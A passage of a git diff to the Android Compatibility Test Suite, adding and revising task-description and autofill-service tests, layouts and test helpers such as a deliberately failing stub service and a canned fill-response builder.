+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import static android.content.Context.ACTIVITY_SERVICE;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RecentTaskInfo;
+import android.app.ActivityManager.TaskDescription;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.platform.test.annotations.Presubmit;
+import java.util.List;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.app.Activity;
+import android.app.stubs.MockActivity;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+/**
+ * Build: mmma -j32 cts/tests/app
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsAppTestCases android.app.cts.TaskDescriptionTest
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class TaskDescriptionTest {
+    private static final String TEST_LABEL = "test-label";
+    private static final int TEST_NO_DATA = 0;
+    private static final int TEST_RES_DATA = 777;
+    private static final int TEST_COLOR = Color.BLACK;
+
+    @Rule
+    public ActivityTestRule<MockActivity> mTaskDescriptionActivity =
+        new ActivityTestRule<>(MockActivity.class,
+            false /* initialTouchMode */, false /* launchActivity */);
+
+    @Test
+    public void testBitmapConstructor() throws Exception {
+        final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+        final Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+        bitmap.eraseColor(0);
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap, TEST_COLOR));
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA);
+    }
+
+    @Test
+    public void testResourceConstructor() throws Exception {
+        final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA, TEST_COLOR));
+        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA);
+    }
+
+    private void assertTaskDescription(Activity activity, String label, int resId) {
+        final ActivityManager am = (ActivityManager) activity.getSystemService(ACTIVITY_SERVICE);
+        List<RecentTaskInfo> recentsTasks = am.getRecentTasks(1 /* maxNum */, 0 /* flags */);
+        if (!recentsTasks.isEmpty()) {
+            final RecentTaskInfo info = recentsTasks.get(0);
+            if (activity.getTaskId() == info.id) {
+                final TaskDescription td = info.taskDescription;
+                assertNotNull(td);
+                if (resId == TEST_NO_DATA) {
+                    assertNotNull(td.getIcon());
+                    assertNotNull(td.getIconFilename());
+                } else {
+                    assertNull(td.getIconFilename());
+                    assertNull(td.getIcon());
+                }
+                assertEquals(resId, td.getIconResource());
+                assertEquals(label, td.getLabel());
+                return;
+            }
+        }
+        fail("Did not find activity (id=" + activity.getTaskId() + ") in recent tasks list");
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 9cad7a3..0c9f48d 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -123,6 +123,11 @@
         String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
     }
 
+    public void removeFromTempWhitelist() throws IOException {
+        String cmd = "cmd deviceidle tempwhitelist -r " + mServicePackage;
+        SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
     public void cleanup() throws IOException {
         removeFromWhitelist();
         allowBackgroundOp();
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index b8ab1f9..90bbfa3 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -66,6 +66,14 @@
         <activity android:name=".WebViewActivity"/>
         <activity android:name=".TrampolineWelcomeActivity"/>
         <activity android:name=".AttachedContextActivity"/>
+        <activity android:name=".DialogLauncherActivity" >
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
 
         <service
             android:name=".InstrumentedAutoFillService"
@@ -83,6 +91,15 @@
                 <action android:name="android.service.autofill.AutofillService" />
             </intent-filter>
         </service>
+        <!--  BadAutofillService does not declare the proper permission -->
+        <service
+            android:name=".BadAutofillService"
+            android:label="BadAutofillService"
+            android:permission="android.permission.BIND_AUTOFILL" >
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation
diff --git a/tests/autofillservice/res/layout/dialog_launcher_activity.xml b/tests/autofillservice/res/layout/dialog_launcher_activity.xml
new file mode 100644
index 0000000..62d6d9b
--- /dev/null
+++ b/tests/autofillservice/res/layout/dialog_launcher_activity.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:importantForAutofill="noExcludeDescendants"
+    android:orientation="vertical" >
+
+    <Button
+        android:id="@+id/launch_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Launch" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index e16d1c4..2a971b1 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -37,6 +37,9 @@
 
         <EditText
             android:id="@+id/username"
+            android:minEms="2"
+            android:maxEms="5"
+            android:maxLength="25"
             android:layout_width="match_parent"
             android:layout_height="wrap_content" />
     </LinearLayout>
diff --git a/tests/autofillservice/res/layout/third_line_only.xml b/tests/autofillservice/res/layout/third_line_only.xml
new file mode 100644
index 0000000..0267c94
--- /dev/null
+++ b/tests/autofillservice/res/layout/third_line_only.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+        android:id="@+id/third"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
diff --git a/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml b/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml
new file mode 100644
index 0000000..3a96389
--- /dev/null
+++ b/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="horizontal"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <TextView android:id="@+id/static_text"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:text="YO:"/>
+
+    <TextView android:id="@+id/first"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
+
+    <TextView android:id="@+id/second"
+        android:text="2ND, Y U NO HIDDEN?"
+        android:visibility="invisible"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
+
+    <TextView android:id="@+id/third"
+        android:text="3RD, Y U NO HIDDEN?"
+        android:visibility="invisible"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
+
+    <ImageView android:id="@+id/img"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 944f926..773afae 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -16,6 +16,7 @@
   -->
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/parent"
     android:orientation="horizontal"
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
index a975186..8740273 100644
--- a/tests/autofillservice/res/layout/webview_activity.xml
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -14,8 +14,55 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
-<WebView  xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/webview"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-/>
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:id="@+id/outsideContainer1"
+        android:visibility="gone"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Outside 1" />
+
+        <EditText
+            android:id="@+id/outside1"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:id="@+id/outsideContainer2"
+        android:visibility="gone"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Outside 2" />
+
+        <EditText
+            android:id="@+id/outside2"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <android.autofillservice.cts.MyWebView
+        android:id="@+id/webview"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+    />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
new file mode 100644
index 0000000..af713d3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+import java.util.regex.Pattern;
+
+/**
+ * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
+ */
+public final class AntiTrimmerTextWatcher implements TextWatcher {
+
+    /**
+     * Regex used to revert a String that was "anti-trimmed".
+     */
+    public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
+
+    private final EditText mView;
+
+    public AntiTrimmerTextWatcher(EditText view) {
+        mView = view;
+        mView.addTextChangedListener(this);
+    }
+
+    @Override
+    public void onTextChanged(CharSequence s, int start, int before, int count) {
+        mView.removeTextChangedListener(this);
+        mView.setText("#" + s + "#");
+    }
+
+    @Override
+    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+    }
+
+    @Override
+    public void afterTextChanged(Editable s) {
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 570de4e..62072c3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -50,6 +50,13 @@
     private static final String EXTRA_DATASET_ID = "dataset_id";
     private static final String EXTRA_RESPONSE_ID = "response_id";
 
+    /**
+     * When launched with this intent, it will pass it back to the
+     * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
+     */
+    private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
+
+
     private static final int MSG_WAIT_FOR_LATCH = 1;
 
     private static Bundle sData;
@@ -84,10 +91,15 @@
      */
     public static IntentSender createSender(Context context, int id,
             CannedDataset dataset) {
+        return createSender(context, id, dataset, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedDataset dataset, Bundle outClientState) {
         Preconditions.checkArgument(id > 0, "id must be positive");
         Preconditions.checkState(sDatasets.get(id) == null, "already have id");
         sDatasets.put(id, dataset);
-        return createSender(context, EXTRA_DATASET_ID, id);
+        return createSender(context, EXTRA_DATASET_ID, id, outClientState);
     }
 
     /**
@@ -95,15 +107,25 @@
      */
     public static IntentSender createSender(Context context, int id,
             CannedFillResponse response) {
+        return createSender(context, id, response, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedFillResponse response, Bundle outData) {
         Preconditions.checkArgument(id > 0, "id must be positive");
         Preconditions.checkState(sResponses.get(id) == null, "already have id");
         sResponses.put(id, response);
-        return createSender(context, EXTRA_RESPONSE_ID, id);
+        return createSender(context, EXTRA_RESPONSE_ID, id, outData);
     }
 
-    private static IntentSender createSender(Context context, String extraName, int id) {
+    private static IntentSender createSender(Context context, String extraName, int id,
+            Bundle outClientState) {
         final Intent intent = new Intent(context, AuthenticationActivity.class);
         intent.putExtra(extraName, id);
+        if (outClientState != null) {
+            Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
+            intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
+        }
         final PendingIntent pendingIntent = PendingIntent.getActivity(context, id, intent, 0);
         sPendingIntents.add(pendingIntent);
         return pendingIntent.getIntentSender();
@@ -213,6 +235,13 @@
         // Pass on the auth result
         final Intent intent = new Intent();
         intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+
+        final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
+        if (outClientState != null) {
+            Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
+            intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
+        }
+
         final int resultCode;
         synchronized (sLock) {
             resultCode = sResultCode;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 74e168b..48b190b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -39,8 +39,6 @@
 import org.junit.Rule;
 import org.junit.runner.RunWith;
 
-import java.util.List;
-
 /**
  * Base class for all other tests.
  */
@@ -62,6 +60,12 @@
     public final RequiredFeatureRule mRequiredFeatureRule =
             new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
 
+    @Rule
+    public final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
+            .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
+            .run(() -> sReplier.assertNumberUnhandledSaveRequests(0))
+            .add(() -> { return sReplier.getExceptions(); });
+
     protected final Context mContext;
     protected final String mPackageName;
     /**
@@ -130,24 +134,6 @@
         }
     }
 
-    // TODO: we shouldn't throw exceptions on @After / @AfterClass because if the test failed, these
-    // exceptions would mask the real cause. A better approach might be using a @Rule or some other
-    // visitor pattern.
-    @After
-    public void assertNothingIsPending() throws Throwable {
-        final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
-            .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
-            .run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
-
-        final List<Exception> replierExceptions = sReplier.getExceptions();
-        if (replierExceptions != null) {
-            for (Exception e : replierExceptions) {
-                catcher.add(e);
-            }
-        }
-        catcher.throwIfAny();
-    }
-
     @After
     public void ignoreFurtherRequests() {
         InstrumentedAutoFillService.setIgnoreUnexpectedRequests(true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
index b966078..ed34bcd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -68,7 +68,7 @@
 
         // Set expectations.
         sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
                 .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, viewsToSave).build());
 
         // Trigger autofill
@@ -185,7 +185,7 @@
 
         // Set expectations.
         sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
                 .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText1").build());
 
         // Trigger autofill
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index 92a19a3..07162f2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -52,8 +52,12 @@
                 try {
                     base.evaluate();
                 } catch (Throwable t) {
-                    final String dump = runShellCommand("dumpsys autofill");
-                    Log.e(mTag, "dump for " + description.getDisplayName() + ": \n" + dump, t);
+                    final String name = description.getDisplayName();
+                    final String autofillDump = runShellCommand("dumpsys autofill");
+                    Log.e(mTag, "autofill dump for " + name + ": \n" + autofillDump, t);
+                    final String activityDump =
+                            runShellCommand("dumpsys activity android.autofillservice.cts");
+                    Log.e(mTag, "activity dump for " + name + ": \n" + activityDump, t);
                     throw t;
                 } finally {
                     if (!levelBefore.equals("verbose")) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
new file mode 100644
index 0000000..0f862f5
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * An {@link AutofillService} implementation that does fails if called upon.
+ */
+public class BadAutofillService extends AutofillService {
+
+    private static final String TAG = "BadAutofillService";
+
+    static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
+            + "/." + BadAutofillService.class.getSimpleName();
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.e(TAG, "onFillRequest() should never be called");
+        throw new UnsupportedOperationException("onFillRequest() should never be called");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.e(TAG, "onSaveRequest() should never be called");
+        throw new UnsupportedOperationException("onSaveRequest() should never be called");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
new file mode 100644
index 0000000..f17f7dc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.Transformation;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BatchUpdatesTest {
+
+    private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
+
+    @Test
+    public void testAddTransformation_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.transformChild(42, null));
+    }
+
+    @Test
+    public void testAddTransformation_invalidClass() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.transformChild(42, mock(Transformation.class)));
+    }
+
+    @Test
+    public void testSetUpdateTemplate_null() {
+        assertThrows(NullPointerException.class, () ->  mBuilder.updateTemplate(null));
+    }
+
+    @Test
+    public void testEmptyObject() {
+        assertThrows(IllegalStateException.class, () ->  mBuilder.build());
+    }
+
+    @Test
+    public void testNoMoreChangesAfterBuild() {
+        assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
+        assertThrows(IllegalStateException.class,
+                () ->  mBuilder.updateTemplate(mock(RemoteViews.class)));
+        assertThrows(IllegalStateException.class,
+                () ->  mBuilder.transformChild(42, mock(InternalTransformation.class)));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index cf2cc6d..4ae01fc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -27,8 +27,11 @@
 import android.service.autofill.Dataset;
 import android.service.autofill.FillCallback;
 import android.service.autofill.FillResponse;
+import android.service.autofill.Sanitizer;
 import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
 import android.service.autofill.Validator;
+import android.util.Pair;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
 import android.widget.RemoteViews;
@@ -39,6 +42,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.function.Function;
+import java.util.regex.Pattern;
 
 /**
  * Helper class used to produce a {@link FillResponse} based on expected fields that should be
@@ -59,6 +63,7 @@
 
     private final ResponseType mResponseType;
     private final List<CannedDataset> mDatasets;
+    private final ArrayList<Pair<Sanitizer, AutofillId[]>> mSanitizers;
     private final String mFailureMessage;
     private final int mSaveType;
     private final Validator mValidator;
@@ -68,12 +73,19 @@
     private final CustomDescription mCustomDescription;
     private final Bundle mExtras;
     private final RemoteViews mPresentation;
+    private final RemoteViews mHeader;
+    private final RemoteViews mFooter;
     private final IntentSender mAuthentication;
     private final String[] mAuthenticationIds;
     private final String[] mIgnoredIds;
     private final int mNegativeActionStyle;
     private final IntentSender mNegativeActionListener;
-    private final int mFlags;
+    private final int mSaveInfoFlags;
+    private final int mFillResponseFlags;
+    private final AutofillId mSaveTriggerId;
+    private final long mDisableDuration;
+    private final AutofillId[] mFieldClassificationIds;
+    private final boolean mFieldClassificationIdsOverflow;
 
     private CannedFillResponse(Builder builder) {
         mResponseType = builder.mResponseType;
@@ -87,12 +99,20 @@
         mSaveType = builder.mSaveType;
         mExtras = builder.mExtras;
         mPresentation = builder.mPresentation;
+        mHeader = builder.mHeader;
+        mFooter = builder.mFooter;
         mAuthentication = builder.mAuthentication;
         mAuthenticationIds = builder.mAuthenticationIds;
         mIgnoredIds = builder.mIgnoredIds;
         mNegativeActionStyle = builder.mNegativeActionStyle;
         mNegativeActionListener = builder.mNegativeActionListener;
-        mFlags = builder.mFlags;
+        mSanitizers = builder.mSanitizers;
+        mSaveInfoFlags = builder.mSaveInfoFlags;
+        mFillResponseFlags = builder.mFillResponseFlags;
+        mSaveTriggerId = builder.mSaveTriggerId;
+        mDisableDuration = builder.mDisableDuration;
+        mFieldClassificationIds = builder.mFieldClassificationIds;
+        mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
     }
 
     /**
@@ -122,7 +142,18 @@
      * structure.
      */
     FillResponse asFillResponse(Function<String, ViewNode> nodeResolver) {
-        final FillResponse.Builder builder = new FillResponse.Builder();
+        return asFillResponse(null, nodeResolver);
+
+    }
+
+    /**
+     * Creates a new response, replacing the dataset field ids by the real ids from the assist
+     * structure.
+     */
+    FillResponse asFillResponse(InstrumentedAutoFillService service,
+            Function<String, ViewNode> nodeResolver) {
+        final FillResponse.Builder builder = new FillResponse.Builder()
+                .setFlags(mFillResponseFlags);
         if (mDatasets != null) {
             for (CannedDataset cannedDataset : mDatasets) {
                 final Dataset dataset = cannedDataset.asDataset(nodeResolver);
@@ -137,7 +168,7 @@
                             : new SaveInfo.Builder(mSaveType,
                                     getAutofillIds(nodeResolver, mRequiredSavableIds));
 
-            saveInfo.setFlags(mFlags);
+            saveInfo.setFlags(mSaveInfoFlags);
 
             if (mValidator != null) {
                 saveInfo.setValidator(mValidator);
@@ -153,6 +184,14 @@
             if (mCustomDescription != null) {
                 saveInfo.setCustomDescription(mCustomDescription);
             }
+
+            for (Pair<Sanitizer, AutofillId[]> sanitizer : mSanitizers) {
+                saveInfo.addSanitizer(sanitizer.first, sanitizer.second);
+            }
+
+            if (mSaveTriggerId != null) {
+                saveInfo.setTriggerId(mSaveTriggerId);
+            }
             builder.setSaveInfo(saveInfo.build());
         }
         if (mIgnoredIds != null) {
@@ -162,9 +201,29 @@
             builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
                     mAuthentication, mPresentation);
         }
-        return builder
-                .setClientState(mExtras)
-                .build();
+        if (mDisableDuration > 0) {
+            builder.disableAutofill(mDisableDuration);
+        }
+        if (mFieldClassificationIdsOverflow) {
+            final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+            final AutofillId[] fieldIds = new AutofillId[length];
+            for (int i = 0; i < length; i++) {
+                fieldIds[i] = new AutofillId(i);
+            }
+            builder.setFieldClassificationIds(fieldIds);
+        } else if (mFieldClassificationIds != null) {
+            builder.setFieldClassificationIds(mFieldClassificationIds);
+        }
+        if (mExtras != null) {
+            builder.setClientState(mExtras);
+        }
+        if (mHeader != null) {
+            builder.setHeader(mHeader);
+        }
+        if (mFooter != null) {
+            builder.setFooter(mFooter);
+        }
+        return builder.build();
     }
 
     @Override
@@ -173,14 +232,22 @@
                 + ",datasets=" + mDatasets
                 + ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
                 + ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
-                + ", flags=" + mFlags
+                + ", saveInfoFlags=" + mSaveInfoFlags
+                + ", fillResponseFlags=" + mFillResponseFlags
                 + ", failureMessage=" + mFailureMessage
                 + ", saveDescription=" + mSaveDescription
                 + ", mCustomDescription=" + mCustomDescription
                 + ", hasPresentation=" + (mPresentation != null)
+                + ", hasHeader=" + (mHeader != null)
+                + ", hasFooter=" + (mFooter != null)
                 + ", hasAuthentication=" + (mAuthentication != null)
